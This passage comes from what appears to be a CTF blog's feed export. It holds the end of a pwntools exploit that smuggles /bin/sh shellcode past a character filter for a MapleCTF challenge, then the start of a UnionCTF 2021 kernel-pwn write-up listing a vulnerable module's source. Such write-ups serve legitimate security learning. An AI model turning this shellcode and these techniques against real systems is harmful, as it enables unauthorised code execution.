        <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">debug</span><span class="p">([</span><span class="n">exe</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gdbscript</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">process</span><span class="p">([</span><span class="n">exe</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">remote</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="s">'''Connect to the process on the remote host'''</span>
    <span class="n">io</span> <span class="o">=</span> <span class="n">connect</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
        <span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">io</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gdbscript</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">io</span>

<span class="k">def</span> <span class="nf">start</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="s">'''Start the exploit against the target.'''</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">LOCAL</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">local</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">remote</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">encode_addr</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
    <span class="n">sc</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
    <span class="n">bits_set</span> <span class="o">=</span> <span class="p">[</span><span class="bp">False</span><span class="p">]</span> <span class="o">*</span> <span class="mh">0x20</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x20</span><span class="p">):</span>
        <span class="n">num</span> <span class="o">=</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">i</span>
        <span class="k">if</span> <span class="n">addr</span> <span class="o">&amp;</span> <span class="n">num</span><span class="p">:</span>
            <span class="n">bits_set</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="bp">True</span>

    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">reversed</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mh">0x20</span><span class="p">)):</span>
        <span class="k">if</span> <span class="n">bits_set</span><span class="p">[</span><span class="n">i</span><span class="p">]:</span>
            <span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"not ebp"</span><span class="p">)</span>
            <span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"shl ebp"</span><span class="p">)</span>
            <span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"not ebp"</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"shl ebp"</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">sc</span>

<span class="k">def</span> <span class="nf">encode_sc</span><span class="p">(</span><span class="n">sc_raw</span><span class="p">):</span>
    <span class="n">ok_chars</span> <span class="o">=</span> <span class="n">string</span><span class="p">.</span><span class="n">ascii_uppercase</span> <span class="o">+</span> <span class="n">string</span><span class="p">.</span><span class="n">digits</span>
    <span class="n">mapping</span> <span class="o">=</span> <span class="p">{}</span>

    <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">ok_chars</span><span class="p">:</span>
        <span class="n">mapping</span><span class="p">[</span><span class="n">x</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">"cp037"</span><span class="p">)]</span> <span class="o">=</span> <span class="n">x</span>

    <span class="k">print</span><span class="p">(</span><span class="n">sc_raw</span><span class="p">)</span>
    <span class="n">out</span> <span class="o">=</span> <span class="s">""</span>
    <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">sc_raw</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">p8</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">mapping</span><span class="p">.</span><span class="n">keys</span><span class="p">():</span>
            <span class="k">print</span><span class="p">(</span><span class="s">"Invalid opcode: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">x</span><span class="p">))</span>
            <span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

        <span class="n">out</span> <span class="o">+=</span> <span class="n">mapping</span><span class="p">[</span><span class="n">p8</span><span class="p">(</span><span class="n">x</span><span class="p">)]</span>

    <span class="k">return</span> <span class="n">out</span><span class="p">.</span><span class="n">encode</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">change_esp</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
    <span class="n">sc</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="n">encode_addr</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"leave"</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">sc</span>

<span class="k">def</span> <span class="nf">write_dword</span><span class="p">(</span><span class="n">val</span><span class="p">,</span> <span class="n">off</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Write: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">val</span><span class="p">))</span>
    <span class="n">sc</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
    <span class="c1"># prevent segfault
</span>    <span class="n">sc</span> <span class="o">+=</span> <span class="n">change_esp</span><span class="p">(</span><span class="mh">0x8058000</span> <span class="o">-</span> <span class="n">off</span><span class="p">)</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="n">encode_addr</span><span class="p">(</span><span class="n">val</span><span class="p">)</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"enter 0xc1c1, 0xc1"</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">sc</span>

<span class="k">def</span> <span class="nf">pad</span><span class="p">(</span><span class="n">amt</span><span class="p">):</span>
    <span class="n">sc</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"shl edx"</span><span class="p">)</span><span class="o">*</span><span class="n">amt</span>

    <span class="k">return</span> <span class="n">sc</span>

<span class="c1"># Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
# pwndbg tele command
</span><span class="n">gdbscript</span> <span class="o">=</span> <span class="s">'''
continue
'''</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="nb">locals</span><span class="p">())</span>

<span class="c1">#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
</span><span class="s">'''
b'</span><span class="se">\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9</span><span class="s">'
'''</span>

<span class="n">sc</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="mh">0x20</span><span class="p">)</span>
<span class="c1"># memory location of our shellcode
</span><span class="n">sc</span> <span class="o">+=</span> <span class="n">write_dword</span><span class="p">(</span><span class="mh">0x8057dc8</span><span class="o">-</span><span class="mh">0x4</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">)</span>

<span class="n">bin_sh</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="p">.</span><span class="n">sh</span><span class="p">())</span>
<span class="n">bin_sh</span> <span class="o">=</span> <span class="n">bin_sh</span><span class="p">.</span><span class="n">rjust</span><span class="p">(</span><span class="mi">60</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x90</span><span class="s">'</span><span class="p">)</span>
<span class="n">bin_sh</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x8057dc8</span><span class="p">)</span>
<span class="n">cnt</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">reversed</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">bin_sh</span><span class="p">),</span> <span class="mh">0x4</span><span class="p">)):</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="n">write_dword</span><span class="p">(</span><span class="n">u32</span><span class="p">(</span><span class="n">bin_sh</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">]),</span> <span class="mh">0x200</span> <span class="o">+</span> <span class="mh">0x4</span> <span class="o">*</span> <span class="n">cnt</span><span class="p">)</span>
    <span class="n">cnt</span> <span class="o">+=</span> <span class="mi">1</span>

<span class="k">print</span><span class="p">(</span><span class="n">sc</span><span class="p">)</span>
<span class="c1"># ret to shellcode
</span><span class="n">sc</span> <span class="o">+=</span> <span class="n">encode_addr</span><span class="p">(</span><span class="mh">0x8058000</span><span class="o">-</span><span class="mh">0x400</span><span class="o">-</span><span class="mh">0x4</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"leave"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"ret"</span><span class="p">)</span>

<span class="n">sc</span> <span class="o">=</span> <span class="n">encode_sc</span><span class="p">(</span><span class="n">sc</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"sc len: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">sc</span><span class="p">)))</span>

<span class="c1">#int3 = 'ö'.encode()
#sc = sc + int3
</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">(</span><span class="n">argv</span><span class="p">,</span> <span class="n">env</span><span class="o">=</span><span class="n">env</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"shellcode: "</span><span class="p">,</span> <span class="n">sc</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>]]></content><author><name>H0ps</name></author><category term="cybersecurity" /><summary type="html"><![CDATA[Last weekend I played MapleCTF with ARESx. For this event we teamed up with RCX and played as RCX/ARESx. Overall this CTF went very well as we managed to get 8th place :)]]></summary></entry><entry><title type="html">UnionCTF 2021 Nutty</title><link href="https://ollrogge.github.io/cybersecurity/2021/02/25/UnionCTF2021-kernel.html" rel="alternate" type="text/html" title="UnionCTF 2021 Nutty" /><published>2021-02-25T23:42:22+00:00</published><updated>2021-02-25T23:42:22+00:00</updated><id>https://ollrogge.github.io/cybersecurity/2021/02/25/UnionCTF2021-kernel</id><content type="html" xml:base="https://ollrogge.github.io/cybersecurity/2021/02/25/UnionCTF2021-kernel.html"><![CDATA[<p>Nutty was a kernel pwn challenge of the UnionCTF 2021. I did not manage to solve the challenge during the CTF but solved it
afterwards with some help of other solutions.</p>

<h2 id="reconnaissance">Reconnaissance</h2>
<p>We are given a kernel <code class="language-plaintext highlighter-rouge">bzImage</code>, an <code class="language-plaintext highlighter-rouge">initramfs.cpio</code> and some files related to Docker and QEMU.
Upon unpacking the initramfs.cpio we discover a <code class="language-plaintext highlighter-rouge">vulnmod.c</code> file.
Furthermore we discover a <code class="language-plaintext highlighter-rouge">flag.txt</code> file in the root directory.</p>

<p>Since this is a kernel pwn challenge our goal is clear: Exploit the kernel module to gain root and read the flag.</p>

<h2 id="additional-info">Additional info</h2>
<p>Checking the <code class="language-plaintext highlighter-rouge">start.sh</code> file we can see that <code class="language-plaintext highlighter-rouge">KASLR</code>, <code class="language-plaintext highlighter-rouge">SMEP</code> and <code class="language-plaintext highlighter-rouge">SMAP</code> are enabled. Furthermore, the kernel uses the <code class="language-plaintext highlighter-rouge">SLUB</code> implementation of the Slab allocator.</p>

<h2 id="module-code">Module code</h2>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cp">#include</span> <span class="cpf">&lt;linux/module.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/kernel.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/init.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/miscdevice.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/slab.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/fs.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/types.h&gt;</span><span class="cp">
</span>
<span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">"GPL"</span><span class="p">);</span>
<span class="n">MODULE_AUTHOR</span><span class="p">(</span><span class="s">"p4wn"</span><span class="p">);</span>
<span class="n">MODULE_DESCRIPTION</span><span class="p">(</span><span class="s">"nutty module"</span><span class="p">);</span>

<span class="k">struct</span> <span class="n">nut</span> <span class="p">{</span>
    <span class="n">u64</span> <span class="n">size</span><span class="p">;</span>
    <span class="kt">char</span><span class="o">*</span> <span class="n">contents</span><span class="p">;</span>
<span class="p">};</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">req</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">idx</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">size</span><span class="p">;</span>
    <span class="kt">char</span><span class="o">*</span> <span class="n">contents</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">content_length</span><span class="p">;</span>
    <span class="kt">char</span><span class="o">*</span> <span class="n">show_buffer</span><span class="p">;</span>
<span class="p">}</span> <span class="n">req</span><span class="p">;</span>

<span class="k">static</span> <span class="k">struct</span> <span class="n">nut</span> <span class="n">nuts</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">read_idx</span><span class="p">(</span><span class="n">req</span><span class="o">*</span> <span class="n">arg</span><span class="p">){</span>
    <span class="k">return</span> <span class="n">arg</span><span class="o">-&gt;</span><span class="n">idx</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">memcpy_safe</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">dst</span><span class="p">,</span> <span class="kt">void</span><span class="o">*</span> <span class="n">src</span><span class="p">,</span> <span class="kt">int</span> <span class="n">size</span><span class="p">){</span>
    <span class="n">size</span> <span class="o">=</span> <span class="n">size</span> <span class="o">&amp;</span> <span class="mh">0x3ff</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">memcpy</span><span class="p">(</span><span class="n">dst</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">char</span><span class="o">*</span> <span class="nf">read_contents</span><span class="p">(</span><span class="n">req</span><span class="o">*</span> <span class="n">arg</span><span class="p">){</span>
    <span class="kt">char</span><span class="o">*</span> <span class="n">to_read</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span> <span class="n">arg</span><span class="o">-&gt;</span><span class="n">contents</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">content_length</span> <span class="o">=</span> <span class="n">arg</span><span class="o">-&gt;</span><span class="n">content_length</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">content_length</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">){</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"bad content length"</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="c1">// kmalloc can return NULL, results in crash</span>
    <span class="kt">char</span><span class="o">*</span> <span class="n">res</span> <span class="o">=</span> <span class="n">kmalloc</span><span class="p">(</span><span class="n">content_length</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
    <span class="n">copy_from_user</span><span class="p">(</span><span class="n">res</span><span class="p">,</span> <span class="n">to_read</span><span class="p">,</span> <span class="n">content_length</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">res</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">read_size</span><span class="p">(</span><span class="n">req</span><span class="o">*</span> <span class="n">arg</span><span class="p">){</span>
    <span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="n">arg</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">size</span> <span class="o">&gt;=</span> <span class="mi">1024</span><span class="p">){</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"invalid size"</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EOVERFLOW</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">size</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">create</span><span class="p">(</span><span class="n">req</span><span class="o">*</span> <span class="n">arg</span><span class="p">){</span>
    <span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="n">read_size</span><span class="p">(</span><span class="n">arg</span><span class="p">);</span>
    <span class="kt">char</span><span class="o">*</span> <span class="n">contents</span> <span class="o">=</span> <span class="n">read_contents</span><span class="p">(</span><span class="n">arg</span><span class="p">);</span>
    <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>

    <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">10</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">nuts</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">contents</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">){</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">==</span> <span class="mi">10</span><span class="p">){</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"creation error"</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">size</span> <span class="o">&gt;=</span> <span class="mi">1024</span><span class="p">){</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"bad size"</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">nuts</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">size</span> <span class="o">=</span> <span class="n">size</span><span class="p">;</span>
    <span class="n">nuts</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">contents</span> <span class="o">=</span> <span class="n">kmalloc</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">contents</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">){</span>
        <span class="n">memcpy_safe</span><span class="p">(</span><span class="n">nuts</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">contents</span><span class="p">,</span> <span class="n">contents</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
        <span class="n">kfree</span><span class="p">(</span><span class="n">contents</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="n">printk</span><span class="p">(</span><span class="s">"bad content length!"</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">delete</span><span class="p">(</span><span class="n">req</span><span class="o">*</span> <span class="n">arg</span><span class="p">){</span>
    <span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">read_idx</span><span class="p">(</span><span class="n">arg</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">idx</span> <span class="o">&gt;=</span> <span class="mi">10</span><span class="p">){</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">contents</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">){</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"deleting at 0x%px"</span><span class="p">,</span> <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">contents</span><span class="p">);</span>
    <span class="n">kfree</span><span class="p">(</span><span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">contents</span><span class="p">);</span>
    <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">contents</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
    <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">size</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">show</span><span class="p">(</span><span class="n">req</span><span class="o">*</span> <span class="n">arg</span><span class="p">){</span>
    <span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">read_idx</span><span class="p">(</span><span class="n">arg</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">idx</span> <span class="o">&gt;=</span> <span class="mi">10</span><span class="p">){</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">contents</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">){</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">copy_to_user</span><span class="p">(</span><span class="n">arg</span><span class="o">-&gt;</span><span class="n">show_buffer</span><span class="p">,</span> <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">contents</span><span class="p">,</span> <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">size</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">append</span><span class="p">(</span><span class="n">req</span><span class="o">*</span> <span class="n">arg</span><span class="p">){</span>
    <span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">read_idx</span><span class="p">(</span><span class="n">arg</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">idx</span> <span class="o">&gt;=</span> <span class="mi">10</span><span class="p">){</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">contents</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">){</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="kt">int</span> <span class="n">new_size</span> <span class="o">=</span> <span class="n">read_size</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span> <span class="o">+</span> <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">size</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">new_size</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">new_size</span> <span class="o">&gt;=</span> <span class="mi">1024</span><span class="p">){</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"bad new size!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="n">EINVAL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="kt">char</span><span class="o">*</span> <span class="n">tmp</span> <span class="o">=</span> <span class="n">kmalloc</span><span class="p">(</span><span class="n">new_size</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
    <span class="n">memcpy_safe</span><span class="p">(</span><span class="n">tmp</span><span class="p">,</span> <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">contents</span><span class="p">,</span> <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">size</span><span class="p">);</span>
    <span class="n">kfree</span><span class="p">(</span><span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">contents</span><span class="p">);</span>
    <span class="kt">char</span><span class="o">*</span> <span class="n">appended</span> <span class="o">=</span> <span class="n">read_contents</span><span class="p">(</span><span class="n">arg</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">appended</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">){</span>
        <span class="n">memcpy_safe</span><span class="p">(</span><span class="n">tmp</span><span class="o">+</span><span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">size</span><span class="p">,</span> <span class="n">appended</span><span class="p">,</span> <span class="n">new_size</span> <span class="o">-</span> <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">size</span><span class="p">);</span>
        <span class="n">kfree</span><span class="p">(</span><span class="n">appended</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">contents</span> <span class="o">=</span> <span class="n">tmp</span><span class="p">;</span>
    <span class="n">nuts</span><span class="p">[</span><span class="n">idx</span><span class="p">].</span><span class="n">size</span> <span class="o">=</span> <span class="n">new_size</span><span class="p">;</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">long</span> <span class="nf">handle_ioctl</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">f</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">cmd</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">arg</span><span class="p">){</span>
    <span class="kt">long</span> <span class="n">ret</span><span class="p">;</span>

    <span class="n">req</span><span class="o">*</span> <span class="n">args</span> <span class="o">=</span> <span class="n">kmalloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">req</span><span class="p">),</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>
    <span class="n">copy_from_user</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">arg</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">req</span><span class="p">));</span>


    <span class="k">if</span> <span class="p">(</span><span class="n">cmd</span> <span class="o">==</span> <span class="mh">0x13371</span><span class="p">){</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="n">create</span><span class="p">(</span><span class="n">args</span><span class="p">);</span>
